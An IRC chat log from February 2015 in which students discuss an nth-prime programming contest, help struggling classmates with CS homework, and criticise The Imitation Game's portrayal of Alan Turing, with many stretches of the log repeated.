[2015-02-25T22:54:14-0500] <+awe> calc0000: you should do it too
[2015-02-25T22:54:18-0500] <+awe> calc0000: you'll wreck everyone.
[2015-02-25T22:56:02-0500] <calc0000> you might think so
[2015-02-25T23:02:51-0500] Mode is +nt
[2015-02-25T23:06:46-0500] <+awe> calc0000: I would hope you'd be able to outoptimize us.
[2015-02-25T23:08:30-0500] <calc0000> do i have to use a specific algorithm
[2015-02-25T23:08:41-0500] <+awe> No, but I highly recommend the Meissel-Lehmer one.
[2015-02-25T23:09:08-0500] <calc0000> copy
[2015-02-25T23:09:11-0500] <+awe> Whole process is O(n^(2/3)/log n + n^(3/4))
[2015-02-25T23:09:18-0500] <+awe> You can't do precomputation at all.
[2015-02-25T23:09:25-0500] <calc0000> what's the exact statement of the problem?
[2015-02-25T23:09:45-0500] <+awe> https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-25T23:09:54-0500] <calc0000> cool.
[2015-02-25T23:10:01-0500] <calc0000> 3 days?
[2015-02-25T23:10:03-0500] <calc0000> oh boy
[2015-02-25T23:10:27-0500] <+awe> We'll probably end up being kind of soft about the date, I imagine.
[2015-02-25T23:10:29-0500] <+awe> Right, Hyper?
[2015-02-25T23:10:40-0500] <Hyper> um yeah
[2015-02-25T23:10:53-0500] <+awe> I mean, we don't even have submission details yet lol.
[2015-02-25T23:10:59-0500] <Hyper> lol
[2015-02-25T23:11:10-0500] <calc0000> and did i read that we wouldn't have to past u64's range?
[2015-02-25T23:11:17-0500] <Hyper> calc0000: yeah
[2015-02-25T23:11:21-0500] <calc0000> hot
[2015-02-25T23:11:46-0500] <Hyper> How do you guy feel about pushing it back to a week from tonight?
[2015-02-25T23:11:47-0500] <calc0000> i'll give it a go
[2015-02-25T23:11:51-0500] <calc0000> i'll take it
[2015-02-25T23:11:56-0500] <Hyper> awe: ?
[2015-02-25T23:12:07-0500] <+awe> That's fine.
[2015-02-25T23:12:16-0500] <Hyper> give more people a chance to get submissions together
[2015-02-25T23:12:27-0500] <Hyper> and give me some time to make a leaderboard page :)
[2015-02-25T23:12:34-0500] <+awe> Now that I convinced calc0000 to do it, I have no hope of winning. :)
[2015-02-25T23:12:56-0500] <Hyper> that's not the spirit
[2015-02-25T23:12:59-0500] <+awe> Controlling for autism, calc0000 is the best systems programmer I know.
[2015-02-25T23:13:04-0500] <calc0000> hahahahaha
[2015-02-25T23:13:09-0500] <calc0000> that's the funniest predicate i've ever heard
[2015-02-25T23:13:10-0500] <+awe> I had to control for autism though because Peter is insane.
[2015-02-25T23:13:36-0500] <+awe> I don't think it can count as Peter being good because he literally spends months optimizing like twenty lines.
[2015-02-25T23:14:02-0500] <+awe> calc0000: did you ever see that time where he rewrote a regex using low-level system calls for slicing?
[2015-02-25T23:14:07-0500] <+awe> calc0000: it was like 60% winapi.
[2015-02-25T23:14:10-0500] <calc0000> hahahaha
[2015-02-25T23:14:12-0500] <calc0000> classic peter
[2015-02-25T23:14:16-0500] <+awe> it was really fast though.
[2015-02-25T23:14:20-0500] <+awe> Like 1000x faster or something.
[2015-02-25T23:14:21-0500] <calc0000> well yeah
[2015-02-25T23:14:23-0500] <+awe> Something ridiculous.
[2015-02-25T23:14:46-0500] <calc0000> check out these brakes though https://www.youtube.com/watch?v=P-giC24SxwE&t=15s
[2015-02-25T23:15:36-0500] <+awe> Wow.
[2015-02-25T23:15:58-0500] <+awe> Impressive.
[2015-02-25T23:16:15-0500] <calc0000> i keep watching it
[2015-02-25T23:16:18-0500] <calc0000> because it's so 
[2015-02-25T23:16:22-0500] <calc0000> counter intuitive
[2015-02-25T23:16:41-0500] <+awe> The car hits him.
[2015-02-25T23:16:46-0500] <+awe> He breaks and the car still hits him
[2015-02-25T23:16:49-0500] <+awe> All of my wat.
[2015-02-25T23:16:50-0500] <calc0000> BRAKES
[2015-02-25T23:16:50-0500] <calc0000> BRAKES
[2015-02-25T23:16:54-0500] <+awe> brakes.
[2015-02-25T23:16:56-0500] <+awe> Wow.
[2015-02-25T23:16:56-0500] <calc0000> i can't handle how recently
[2015-02-25T23:16:58-0500] <calc0000> how much
[2015-02-25T23:17:00-0500] <+awe> My English is bad tonight.
[2015-02-25T23:17:03-0500] <calc0000> i've seen people say breaks instead of brakes
[2015-02-25T23:17:17-0500] <calc0000> it's almost as bad as the tense changes i see in short stories on reddit
[2015-02-25T23:17:21-0500] <calc0000> that nobody else seems to ntoice
[2015-02-25T23:17:22-0500] <calc0000> notice
[2015-02-25T23:17:24-0500] <+awe> I wrote something like that earlier today too.
[2015-02-25T23:17:25-0500] <LittleBobbyTables> You mention regex once at your job, and suddenly everyone is like "HEY CAN YOU REGEX THIS FOR ME?"
[2015-02-25T23:17:33-0500] <calc0000> haha bobby i know that feel
[2015-02-25T23:17:38-0500] <+awe> LittleBobbyTables: that's why I make sure everyone knows I hate it. :)
[2015-02-25T23:17:40-0500] <calc0000> i was helping a guy with some basic regexes and he was like
[2015-02-25T23:17:46-0500] <calc0000> "man you're so smart how'd you learn all this fancy stuff?"
[2015-02-25T23:23:19-0500] <+awe> "I learned stuff independently rather than coasting through university by copying off of everyone around me."
[2015-02-25T23:25:38-0500] <calc0000> that would be a pretty good rekt{
[2015-02-25T23:25:49-0500] <calc0000> but he was an EE so i doubt it really applies
[2015-02-25T23:27:45-0500] <calc0000> that particular guy had that reaction for most anything i told him about
[2015-02-25T23:27:54-0500] <calc0000> he's a cool guy
[2015-02-25T23:27:57-0500] <calc0000> i should talk to him more often
[2015-02-25T23:27:59-0500] <calc0000> he's married
[2015-02-25T23:28:03-0500] <calc0000> got married to his wife in china
[2015-02-25T23:28:05-0500] <calc0000> isn't that cray?
[2015-02-25T23:28:36-0500] <calc0000> anyway bedtime
[2015-02-25T23:28:37-0500] <calc0000> night
[2015-02-25T23:33:21-0500] <Hyper> one guy in my CS class this term was like "Wow, you care about this stuff so much"
[2015-02-25T23:33:31-0500] <Hyper> no shit I care about it, I want to spend the rest of my life doing it
[2015-02-25T23:33:54-0500] <Hyper> that's why it's my major.
[2015-02-25T23:34:12-0500] <+awe> Hyper: remember: everyone else is doing it for a job.
[2015-02-25T23:34:45-0500] <Hyper> in the past 2 weeks 2 separate people have come up to me and been like "Are you Josh? I heard you're good at computers and stuff"
[2015-02-25T23:34:51-0500] <Hyper> >_>
[2015-02-25T23:35:20-0500] <Hyper> one was asking me how to install pip on windows, and I said I hadn't used windows in 5 years (true)
[2015-02-25T23:35:36-0500] <Hyper> and the other didn't ask for anything... he just informed me that i'm good at computers and left
[2015-02-25T23:35:41-0500] <Hyper> o.o
[2015-02-25T23:36:21-0500] <+awe> Lol.
[2015-02-25T23:36:29-0500] <+awe> "I wasn't aware."
[2015-02-25T23:37:03-0500] <Hyper> I just said "oh.... thanks"
[2015-02-25T23:39:07-0500] <+awe> I help all the nublets in my building with their CS assignments.
[2015-02-25T23:39:43-0500] <Hyper> I spent nearly 2 hours trying to help a kid in my building with a CS assignment
[2015-02-25T23:40:13-0500] <Hyper> he simply could not grasp the idea of shifting each element in a list to the left by one when you remove an element in the middle
[2015-02-25T23:40:24-0500] <Hyper> at one point he wrote i = i++ in his code
[2015-02-25T23:40:47-0500] <Hyper> I brought down a deck of cards to illustrate the concept to him, and he still couldn't get it ._.
[2015-02-25T23:41:10-0500] <Hyper> According to our curriculum, he is at the same level of CS knowledge as I am.
[2015-02-25T23:41:12-0500] <Hyper> >___>>
[2015-02-25T23:42:07-0500] <Hyper> q.q
[2015-02-25T23:43:03-0500] <+awe> Hyper: According to my curriculum, I don't know what a computer is. )
[2015-02-25T23:43:04-0500] <+awe> :)
[2015-02-25T23:43:10-0500] <+awe> Hyper: I'm just now learning about what a computer is.
[2015-02-25T23:43:18-0500] <+awe> Hyper: and the only language I know is Java.
[2015-02-25T23:43:29-0500] <Hyper> x.x
[2015-02-25T23:43:39-0500] <Hyper> for some reason poly has a huge hardon for C++
[2015-02-25T23:43:44-0500] <Hyper> :<
[2015-02-25T23:43:44-0500] <+awe> Don't worry, I'm learning a bit of C now!
[2015-02-25T23:43:54-0500] <+awe> And next semester, I'll get my first taste of functional programming with Scala!
[2015-02-25T23:43:58-0500] <Hyper> Wow!
[2015-02-25T23:44:11-0500] <+awe> Oh, and then I'll get to learn git, too.
[2015-02-25T23:44:16-0500] <Hyper> awe: https://www.youtube.com/watch?v=FzjtPtOH-Hg
[2015-02-25T23:44:27-0500] <+awe> Because up until now, the only thing I know how to do is make a tar file of my source folder.
[2015-02-25T23:44:48-0500] <Hyper> .__.
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[2015-02-26T00:00:06-0500] <+alokpathy> awe: I heard git's pretty useful.
[2015-02-26T00:00:12-0500] <+alokpathy> awe: You should try it sooner.
[2015-02-26T00:00:33-0500] <+awe> I can't. The curriculum.
[2015-02-26T00:03:51-0500] <ubuntor> i just realized "the imitation game" is a reference to the turing test :/
[2015-02-26T00:04:25-0500] <+awe> Yeah.
[2015-02-26T00:04:34-0500] <+awe> How bad is that movie?
[2015-02-26T00:05:01-0500] <ubuntor> haven't watched it yet
[2015-02-26T00:05:09-0500] <+awe> "However, the film was criticised for its inaccurate portrayal of historical events and Turing's character and relationships."
[2015-02-26T00:05:09-0500] <+awe> Great.
[2015-02-26T00:05:22-0500] <+awe> I'd love to see a film pretend to be about Alan Turing without being even remotely about him.
[2015-02-26T00:05:47-0500] <+awe> It's not like there isn't sufficient information available to garner a good understanding of his personality.
[2015-02-26T00:06:41-0500] <+alokpathy> Insterstellar was accurate, apparently. I found that pretty cool.
[2015-02-26T00:06:48-0500] <+alokpathy> They had a theoretical physicist on set.
[2015-02-26T00:07:02-0500] <+awe> Wow, are you serious?
[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
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[2015-02-26T01:11:05-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T23:34:51-0500] <Hyper> >_>
[2015-02-25T23:35:20-0500] <Hyper> one was asking me how to install pip on windows, and I said I hadn't used windows in 5 years (true)
[2015-02-25T23:35:36-0500] <Hyper> and the other didn't ask for anything... he just informed me that i'm good at computers and left
[2015-02-25T23:35:41-0500] <Hyper> o.o
[2015-02-25T23:36:21-0500] <+awe> Lol.
[2015-02-25T23:36:29-0500] <+awe> "I wasn't aware."
[2015-02-25T23:37:03-0500] <Hyper> I just said "oh.... thanks"
[2015-02-25T23:39:07-0500] <+awe> I help all the nublets in my building with their CS assignments.
[2015-02-25T23:39:43-0500] <Hyper> I spent nearly 2 hours trying to help a kid in my building with a CS assignment
[2015-02-25T23:40:13-0500] <Hyper> he simply could not grasp the idea of shifting each element in a list to the left by one when you remove an element in the middle
[2015-02-25T23:40:24-0500] <Hyper> at one point he wrote i = i++ in his code
[2015-02-25T23:40:47-0500] <Hyper> I brought down a deck of cards to illustrate the concept to him, and he still couldn't get it ._.
[2015-02-25T23:41:10-0500] <Hyper> According to our curriculum, he is at the same level of CS knowledge as I am.
[2015-02-25T23:41:12-0500] <Hyper> >___>>
[2015-02-25T23:42:07-0500] <Hyper> q.q
[2015-02-25T23:43:03-0500] <+awe> Hyper: According to my curriculum, I don't know what a computer is. )
[2015-02-25T23:43:04-0500] <+awe> :)
[2015-02-25T23:43:10-0500] <+awe> Hyper: I'm just now learning about what a computer is.
[2015-02-25T23:43:18-0500] <+awe> Hyper: and the only language I know is Java.
[2015-02-25T23:43:29-0500] <Hyper> x.x
[2015-02-25T23:43:39-0500] <Hyper> for some reason poly has a huge hardon for C++
[2015-02-25T23:43:44-0500] <Hyper> :<
[2015-02-25T23:43:44-0500] <+awe> Don't worry, I'm learning a bit of C now!
[2015-02-25T23:43:54-0500] <+awe> And next semester, I'll get my first taste of functional programming with Scala!
[2015-02-25T23:43:58-0500] <Hyper> Wow!
[2015-02-25T23:44:11-0500] <+awe> Oh, and then I'll get to learn git, too.
[2015-02-25T23:44:16-0500] <Hyper> awe: https://www.youtube.com/watch?v=FzjtPtOH-Hg
[2015-02-25T23:44:27-0500] <+awe> Because up until now, the only thing I know how to do is make a tar file of my source folder.
[2015-02-25T23:44:48-0500] <Hyper> .__.
[2015-02-26T00:00:06-0500] <+alokpathy> awe: I heard git's pretty useful.
[2015-02-26T00:00:12-0500] <+alokpathy> awe: You should try it sooner.
[2015-02-26T00:00:33-0500] <+awe> I can't. The curriculum.
[2015-02-26T00:03:51-0500] <ubuntor> i just realized "the imitation game" is a reference to the turing test :/
[2015-02-26T00:04:25-0500] <+awe> Yeah.
[2015-02-26T00:04:34-0500] <+awe> How bad is that movie?
[2015-02-26T00:05:01-0500] <ubuntor> haven't watched it yet
[2015-02-26T00:05:09-0500] <+awe> "However, the film was criticised for its inaccurate portrayal of historical events and Turing's character and relationships."
[2015-02-26T00:05:09-0500] <+awe> Great.
[2015-02-26T00:05:22-0500] <+awe> I'd love to see a film pretend to be about Alan Turing without being even remotely about him.
[2015-02-26T00:05:47-0500] <+awe> It's not like there isn't sufficient information available to garner a good understanding of his personality.
[2015-02-26T00:06:41-0500] <+alokpathy> Insterstellar was accurate, apparently. I found that pretty cool.
[2015-02-26T00:06:48-0500] <+alokpathy> They had a theoretical physicist on set.
[2015-02-26T00:07:02-0500] <+awe> Wow, are you serious?
[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
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[2015-02-26T01:17:28-0500] <Hyper> I liked the imitation game
[2015-02-26T01:19:16-0500] <assface> insufficient polish
[2015-02-26T02:16:17-0500] <assface> alright, I finally finished my submission to the contest
[2015-02-26T02:17:03-0500] <assface> found 1000000th prime in 3943240 clock ticks
[2015-02-26T02:17:14-0500] <assface> which is around .3 seconds
[2015-02-26T02:18:09-0500] <assface> correction: according to time, it's 1.3 ses
[2015-02-26T02:18:23-0500] <assface> *secs
[2015-02-26T02:19:44-0500] <assface> 10000000th prime in 19.1 secs
[2015-02-26T02:24:00-0500] <assface> don't have enough ram for more tests
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[2015-02-26T03:54:13-0500] <grantwu> Anyone know anything about staging computation in eagerly evaluated functional languages
[2015-02-26T03:54:31-0500] <grantwu> awe miao miao miao ?
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[2015-02-26T09:27:19-0500] <JacobEdelman_> awe: in the movie the police only enter his house
[2015-02-26T09:27:28-0500] <JacobEdelman_> because of a robbery
[2015-02-26T09:27:36-0500] <JacobEdelman_> they add the soviet spy suspisicon afterwards
[2015-02-26T09:27:45-0500] <JacobEdelman_> (in the imitation game)\
[2015-02-26T09:28:27-0500] <JacobEdelman_> wait, what?
[2015-02-26T09:28:35-0500] <JacobEdelman_> ooh
[2015-02-26T09:28:41-0500] <JacobEdelman_> sorry, confused by backlog
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[2015-02-26T11:15:27-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T23:43:18-0500] <+awe> Hyper: and the only language I know is Java.
[2015-02-25T23:43:29-0500] <Hyper> x.x
[2015-02-25T23:43:39-0500] <Hyper> for some reason poly has a huge hardon for C++
[2015-02-25T23:43:44-0500] <Hyper> :<
[2015-02-25T23:43:44-0500] <+awe> Don't worry, I'm learning a bit of C now!
[2015-02-25T23:43:54-0500] <+awe> And next semester, I'll get my first taste of functional programming with Scala!
[2015-02-25T23:43:58-0500] <Hyper> Wow!
[2015-02-25T23:44:11-0500] <+awe> Oh, and then I'll get to learn git, too.
[2015-02-25T23:44:16-0500] <Hyper> awe: https://www.youtube.com/watch?v=FzjtPtOH-Hg
[2015-02-25T23:44:27-0500] <+awe> Because up until now, the only thing I know how to do is make a tar file of my source folder.
[2015-02-25T23:44:48-0500] <Hyper> .__.
[2015-02-26T00:00:06-0500] <+alokpathy> awe: I heard git's pretty useful.
[2015-02-26T00:00:12-0500] <+alokpathy> awe: You should try it sooner.
[2015-02-26T00:00:33-0500] <+awe> I can't. The curriculum.
[2015-02-26T00:03:51-0500] <ubuntor> i just realized "the imitation game" is a reference to the turing test :/
[2015-02-26T00:04:25-0500] <+awe> Yeah.
[2015-02-26T00:04:34-0500] <+awe> How bad is that movie?
[2015-02-26T00:05:01-0500] <ubuntor> haven't watched it yet
[2015-02-26T00:05:09-0500] <+awe> "However, the film was criticised for its inaccurate portrayal of historical events and Turing's character and relationships."
[2015-02-26T00:05:09-0500] <+awe> Great.
[2015-02-26T00:05:22-0500] <+awe> I'd love to see a film pretend to be about Alan Turing without being even remotely about him.
[2015-02-26T00:05:47-0500] <+awe> It's not like there isn't sufficient information available to garner a good understanding of his personality.
[2015-02-26T00:06:41-0500] <+alokpathy> Insterstellar was accurate, apparently. I found that pretty cool.
[2015-02-26T00:06:48-0500] <+alokpathy> They had a theoretical physicist on set.
[2015-02-26T00:07:02-0500] <+awe> Wow, are you serious?
[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
[2015-02-26T01:17:28-0500] <Hyper> I liked the imitation game
[2015-02-26T01:19:16-0500] <assface> insufficient polish
[2015-02-26T02:16:17-0500] <assface> alright, I finally finished my submission to the contest
[2015-02-26T02:17:03-0500] <assface> found 1000000th prime in 3943240 clock ticks
[2015-02-26T02:17:14-0500] <assface> which is around .3 seconds
[2015-02-26T02:18:09-0500] <assface> correction: according to time, it's 1.3 ses
[2015-02-26T02:18:22-0500] <assface> *secs
[2015-02-26T02:19:44-0500] <assface> 10000000th prime in 19.1 secs
[2015-02-26T02:24:00-0500] <assface> don't have enough ram for more tests
[2015-02-26T03:54:13-0500] <grantwu> Anyone know anything about staging computation in eagerly evaluated functional languages
[2015-02-26T03:54:31-0500] <grantwu> awe miao miao miao ?
[2015-02-26T09:27:19-0500] <JacobEdelman_> awe: in the movie the police only enter his house
[2015-02-26T09:27:28-0500] <JacobEdelman_> because of a robbery
[2015-02-26T09:27:36-0500] <JacobEdelman_> they add the soviet spy suspisicon afterwards
[2015-02-26T09:27:45-0500] <JacobEdelman_> (in the imitation game)\
[2015-02-26T09:28:27-0500] <JacobEdelman_> wait, what?
[2015-02-26T09:28:35-0500] <JacobEdelman_> ooh
[2015-02-26T09:28:41-0500] <JacobEdelman_> sorry, confused by backlog
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[2015-02-26T11:16:20-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T23:43:18-0500] <+awe> Hyper: and the only language I know is Java.
[2015-02-25T23:43:29-0500] <Hyper> x.x
[2015-02-25T23:43:39-0500] <Hyper> for some reason poly has a huge hardon for C++
[2015-02-25T23:43:44-0500] <Hyper> :<
[2015-02-25T23:43:44-0500] <+awe> Don't worry, I'm learning a bit of C now!
[2015-02-25T23:43:54-0500] <+awe> And next semester, I'll get my first taste of functional programming with Scala!
[2015-02-25T23:43:58-0500] <Hyper> Wow!
[2015-02-25T23:44:11-0500] <+awe> Oh, and then I'll get to learn git, too.
[2015-02-25T23:44:16-0500] <Hyper> awe: https://www.youtube.com/watch?v=FzjtPtOH-Hg
[2015-02-25T23:44:27-0500] <+awe> Because up until now, the only thing I know how to do is make a tar file of my source folder.
[2015-02-25T23:44:48-0500] <Hyper> .__.
[2015-02-26T00:00:06-0500] <+alokpathy> awe: I heard git's pretty useful.
[2015-02-26T00:00:12-0500] <+alokpathy> awe: You should try it sooner.
[2015-02-26T00:00:33-0500] <+awe> I can't. The curriculum.
[2015-02-26T00:03:51-0500] <ubuntor> i just realized "the imitation game" is a reference to the turing test :/
[2015-02-26T00:04:25-0500] <+awe> Yeah.
[2015-02-26T00:04:34-0500] <+awe> How bad is that movie?
[2015-02-26T00:05:01-0500] <ubuntor> haven't watched it yet
[2015-02-26T00:05:09-0500] <+awe> "However, the film was criticised for its inaccurate portrayal of historical events and Turing's character and relationships."
[2015-02-26T00:05:09-0500] <+awe> Great.
[2015-02-26T00:05:22-0500] <+awe> I'd love to see a film pretend to be about Alan Turing without being even remotely about him.
[2015-02-26T00:05:47-0500] <+awe> It's not like there isn't sufficient information available to garner a good understanding of his personality.
[2015-02-26T00:06:41-0500] <+alokpathy> Insterstellar was accurate, apparently. I found that pretty cool.
[2015-02-26T00:06:48-0500] <+alokpathy> They had a theoretical physicist on set.
[2015-02-26T00:07:02-0500] <+awe> Wow, are you serious?
[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
[2015-02-26T01:17:28-0500] <Hyper> I liked the imitation game
[2015-02-26T01:19:16-0500] <assface> insufficient polish
[2015-02-26T02:16:17-0500] <assface> alright, I finally finished my submission to the contest
[2015-02-26T02:17:03-0500] <assface> found 1000000th prime in 3943240 clock ticks
[2015-02-26T02:17:14-0500] <assface> which is around .3 seconds
[2015-02-26T02:18:09-0500] <assface> correction: according to time, it's 1.3 ses
[2015-02-26T02:18:22-0500] <assface> *secs
[2015-02-26T02:19:44-0500] <assface> 10000000th prime in 19.1 secs
[2015-02-26T02:24:00-0500] <assface> don't have enough ram for more tests
[2015-02-26T03:54:13-0500] <grantwu> Anyone know anything about staging computation in eagerly evaluated functional languages
[2015-02-26T03:54:31-0500] <grantwu> awe miao miao miao ?
[2015-02-26T09:27:19-0500] <JacobEdelman_> awe: in the movie the police only enter his house
[2015-02-26T09:27:28-0500] <JacobEdelman_> because of a robbery
[2015-02-26T09:27:36-0500] <JacobEdelman_> they add the soviet spy suspisicon afterwards
[2015-02-26T09:27:45-0500] <JacobEdelman_> (in the imitation game)\
[2015-02-26T09:28:27-0500] <JacobEdelman_> wait, what?
[2015-02-26T09:28:35-0500] <JacobEdelman_> ooh
[2015-02-26T09:28:41-0500] <JacobEdelman_> sorry, confused by backlog
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[2015-02-26T12:50:54-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T23:43:18-0500] <+awe> Hyper: and the only language I know is Java.
[2015-02-25T23:43:29-0500] <Hyper> x.x
[2015-02-25T23:43:39-0500] <Hyper> for some reason poly has a huge hardon for C++
[2015-02-25T23:43:44-0500] <Hyper> :<
[2015-02-25T23:43:44-0500] <+awe> Don't worry, I'm learning a bit of C now!
[2015-02-25T23:43:54-0500] <+awe> And next semester, I'll get my first taste of functional programming with Scala!
[2015-02-25T23:43:58-0500] <Hyper> Wow!
[2015-02-25T23:44:11-0500] <+awe> Oh, and then I'll get to learn git, too.
[2015-02-25T23:44:16-0500] <Hyper> awe: https://www.youtube.com/watch?v=FzjtPtOH-Hg
[2015-02-25T23:44:27-0500] <+awe> Because up until now, the only thing I know how to do is make a tar file of my source folder.
[2015-02-25T23:44:48-0500] <Hyper> .__.
[2015-02-26T00:00:06-0500] <+alokpathy> awe: I heard git's pretty useful.
[2015-02-26T00:00:12-0500] <+alokpathy> awe: You should try it sooner.
[2015-02-26T00:00:33-0500] <+awe> I can't. The curriculum.
[2015-02-26T00:03:51-0500] <ubuntor> i just realized "the imitation game" is a reference to the turing test :/
[2015-02-26T00:04:25-0500] <+awe> Yeah.
[2015-02-26T00:04:34-0500] <+awe> How bad is that movie?
[2015-02-26T00:05:01-0500] <ubuntor> haven't watched it yet
[2015-02-26T00:05:09-0500] <+awe> "However, the film was criticised for its inaccurate portrayal of historical events and Turing's character and relationships."
[2015-02-26T00:05:09-0500] <+awe> Great.
[2015-02-26T00:05:22-0500] <+awe> I'd love to see a film pretend to be about Alan Turing without being even remotely about him.
[2015-02-26T00:05:47-0500] <+awe> It's not like there isn't sufficient information available to garner a good understanding of his personality.
[2015-02-26T00:06:41-0500] <+alokpathy> Insterstellar was accurate, apparently. I found that pretty cool.
[2015-02-26T00:06:48-0500] <+alokpathy> They had a theoretical physicist on set.
[2015-02-26T00:07:02-0500] <+awe> Wow, are you serious?
[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
[2015-02-26T01:17:28-0500] <Hyper> I liked the imitation game
[2015-02-26T01:19:16-0500] <assface> insufficient polish
[2015-02-26T02:16:17-0500] <assface> alright, I finally finished my submission to the contest
[2015-02-26T02:17:03-0500] <assface> found 1000000th prime in 3943240 clock ticks
[2015-02-26T02:17:14-0500] <assface> which is around .3 seconds
[2015-02-26T02:18:09-0500] <assface> correction: according to time, it's 1.3 ses
[2015-02-26T02:18:22-0500] <assface> *secs
[2015-02-26T02:19:44-0500] <assface> 10000000th prime in 19.1 secs
[2015-02-26T02:24:00-0500] <assface> don't have enough ram for more tests
[2015-02-26T03:54:13-0500] <grantwu> Anyone know anything about staging computation in eagerly evaluated functional languages
[2015-02-26T03:54:31-0500] <grantwu> awe miao miao miao ?
[2015-02-26T09:27:19-0500] <JacobEdelman_> awe: in the movie the police only enter his house
[2015-02-26T09:27:28-0500] <JacobEdelman_> because of a robbery
[2015-02-26T09:27:36-0500] <JacobEdelman_> they add the soviet spy suspisicon afterwards
[2015-02-26T09:27:45-0500] <JacobEdelman_> (in the imitation game)\
[2015-02-26T09:28:27-0500] <JacobEdelman_> wait, what?
[2015-02-26T09:28:35-0500] <JacobEdelman_> ooh
[2015-02-26T09:28:41-0500] <JacobEdelman_> sorry, confused by backlog
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[2015-02-26T12:51:36-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T23:43:18-0500] <+awe> Hyper: and the only language I know is Java.
[2015-02-25T23:43:29-0500] <Hyper> x.x
[2015-02-25T23:43:39-0500] <Hyper> for some reason poly has a huge hardon for C++
[2015-02-25T23:43:44-0500] <Hyper> :<
[2015-02-25T23:43:44-0500] <+awe> Don't worry, I'm learning a bit of C now!
[2015-02-25T23:43:54-0500] <+awe> And next semester, I'll get my first taste of functional programming with Scala!
[2015-02-25T23:43:58-0500] <Hyper> Wow!
[2015-02-25T23:44:11-0500] <+awe> Oh, and then I'll get to learn git, too.
[2015-02-25T23:44:16-0500] <Hyper> awe: https://www.youtube.com/watch?v=FzjtPtOH-Hg
[2015-02-25T23:44:27-0500] <+awe> Because up until now, the only thing I know how to do is make a tar file of my source folder.
[2015-02-25T23:44:48-0500] <Hyper> .__.
[2015-02-26T00:00:06-0500] <+alokpathy> awe: I heard git's pretty useful.
[2015-02-26T00:00:12-0500] <+alokpathy> awe: You should try it sooner.
[2015-02-26T00:00:33-0500] <+awe> I can't. The curriculum.
[2015-02-26T00:03:51-0500] <ubuntor> i just realized "the imitation game" is a reference to the turing test :/
[2015-02-26T00:04:25-0500] <+awe> Yeah.
[2015-02-26T00:04:34-0500] <+awe> How bad is that movie?
[2015-02-26T00:05:01-0500] <ubuntor> haven't watched it yet
[2015-02-26T00:05:09-0500] <+awe> "However, the film was criticised for its inaccurate portrayal of historical events and Turing's character and relationships."
[2015-02-26T00:05:09-0500] <+awe> Great.
[2015-02-26T00:05:22-0500] <+awe> I'd love to see a film pretend to be about Alan Turing without being even remotely about him.
[2015-02-26T00:05:47-0500] <+awe> It's not like there isn't sufficient information available to garner a good understanding of his personality.
[2015-02-26T00:06:41-0500] <+alokpathy> Insterstellar was accurate, apparently. I found that pretty cool.
[2015-02-26T00:06:48-0500] <+alokpathy> They had a theoretical physicist on set.
[2015-02-26T00:07:02-0500] <+awe> Wow, are you serious?
